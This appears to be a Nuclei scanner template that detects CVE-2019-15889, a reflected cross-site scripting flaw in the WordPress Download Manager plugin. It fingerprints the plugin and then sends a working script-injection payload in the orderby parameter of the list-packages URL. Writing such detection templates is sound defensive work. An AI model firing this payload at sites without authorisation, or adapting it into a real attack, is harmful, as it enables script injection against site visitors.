id: CVE-2019-15889

info:
  name: WordPress Download Manager <2.9.94 - Cross-Site Scripting
  author: daffainfo
  severity: medium
  description: WordPress Download Manager plugin before 2.9.94 contains a cross-site scripting vulnerability via the category shortcode feature, as demonstrated by the orderby or search[publish_date] parameter.
  impact: |
    Successful exploitation of this vulnerability could lead to the execution of arbitrary script code in the context of the affected website, potentially allowing an attacker to steal sensitive information or perform unauthorized actions.
  remediation: |
    Update WordPress Download Manager plugin to version 2.9.94 or later to mitigate this vulnerability.
  reference:
    - https://www.cybersecurity-help.cz/vdb/SB2019041819
    - https://wordpress.org/plugins/download-manager/#developers
    - https://nvd.nist.gov/vuln/detail/CVE-2019-15889
    - http://packetstormsecurity.com/files/154356/WordPress-Download-Manager-2.9.93-Cross-Site-Scripting.html
    - https://plugins.trac.wordpress.org/changeset/2070388/download-manager
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2019-15889
    cwe-id: CWE-79
    epss-score: 0.12531
    epss-percentile: 0.95825
    cpe: cpe:2.3:a:wpdownloadmanager:wordpress_download_manager:*:*:*:*:*:wordpress:*:*
  metadata:
    max-request: 2
    vendor: wpdownloadmanager
    product: "wordpress_download_manager"
    framework: wordpress
  tags: cve,cve2019,packetstorm,wordpress,xss,wp-plugin,wpdownloadmanager,vuln
flow: http(1) && http(2)

http:
  - raw:
      - |
        GET /wp-content/plugins/download-manager/readme.txt HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: word
        internal: true
        words:
          - 'Download Manager'
          - 'License:'
        condition: and

  - method: GET
    path:
      - '{{BaseURL}}/wpdmpro/list-packages/?orderby=title%22%3E%3Cscript%3Ealert(1)%3C/script%3E&order=asc'

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "<script>alert(1)</script>"

      - type: word
        part: header
        words:
          - text/html

      - type: status
        status:
          - 200
# digest: 4a0a004730450220261086dc58c2676d15dcfedae747c7b6f82c0e2e55594ad83991dd43cc5000a1022100edd1b10429f14d6d9f17c8fac0769f004025fb00863da3e4820d06833e643912:922c64590222798bb761d5b6d8e72950